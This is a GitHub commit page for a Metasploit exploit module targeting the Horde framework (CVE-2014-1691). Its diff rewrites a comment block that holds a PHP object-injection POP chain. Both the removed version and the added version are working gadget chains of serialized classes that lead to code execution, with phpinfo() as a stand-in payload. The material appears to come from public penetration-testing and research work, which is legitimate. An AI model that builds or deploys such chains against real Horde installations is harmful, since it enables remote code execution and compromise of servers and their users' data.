Skip to content

Commit 379c0ef

Browse files
committed
Update POP chain documentation
1 parent 77c128f commit 379c0ef

File tree

1 file changed

+30
-35
lines changed

1 file changed

+30
-35
lines changed

modules/exploits/unix/webapp/horde_unserialize_exec.rb

Lines changed: 30 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -94,56 +94,51 @@ def send_request_exploit(p)
9494
end
9595

9696
=begin
97+
9798
PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
9899
99-
$phpcode = '"&&eval("phpinfo();die;")=="';
100-
 
101-
class Horde_Date_Parser_Token
100+
class Horde_Config
102101
{
103-
   public $tags = array('A');
102+
protected $_oldConfig = "phpinfo();die;";
104103
}
105-
 
104+
106105
class Horde_Prefs_Scope
107106
{
108-
   protected $_prefs;
109-
 
110-
   function __construct()
111-
   {
112-
      $this->_prefs = array($GLOBALS['phpcode'] => 1);
113-
   }
107+
protected $_prefs = array(1);
114108
}
115-
 
109+
116110
class Horde_Prefs
117111
{
118-
   protected $_opts, $_scopes;
119-
 
120-
   function __construct()
121-
   {
122-
      $this->_opts['sizecallback'] = array(new Horde_Date_Parser_Token, 'untag');
123-
      $this->_scopes['horde'] = new Horde_Prefs_Scope;
124-
   }
112+
protected $_opts, $_scopes;
113+
114+
function __construct()
115+
{
116+
$this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
117+
$this->_scopes['horde'] = new Horde_Prefs_Scope;
118+
}
125119
}
126-
 
120+
127121
class Horde_Prefs_Identity
128122
{
129-
   protected $_prefs, $_prefnames;
130-
 
131-
   function __construct()
132-
   {
133-
      $this->_prefs = new Horde_Prefs;
134-
      $this->_prefnames['identities'] = $GLOBALS['phpcode'];
135-
   }
123+
protected $_prefs, $_prefnames;
124+
125+
function __construct()
126+
{
127+
$this->_prefs = new Horde_Prefs;
128+
$this->_prefnames['identities'] = 0;
129+
}
136130
}
137-
 
131+
138132
class Horde_Kolab_Server_Decorator_Clean
139133
{
140-
   private $_server, $_added = array(1);
141-
 
142-
   function __construct()
143-
   {
144-
      $this->_server = new Horde_Prefs_Identity;
145-
   }
134+
private $_server, $_added = array(1);
135+
136+
function __construct()
137+
{
138+
$this->_server = new Horde_Prefs_Identity;
139+
}
146140
}
147-
  
141+
148142
$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
143+
149144
=end

0 commit comments

Comments
 (0)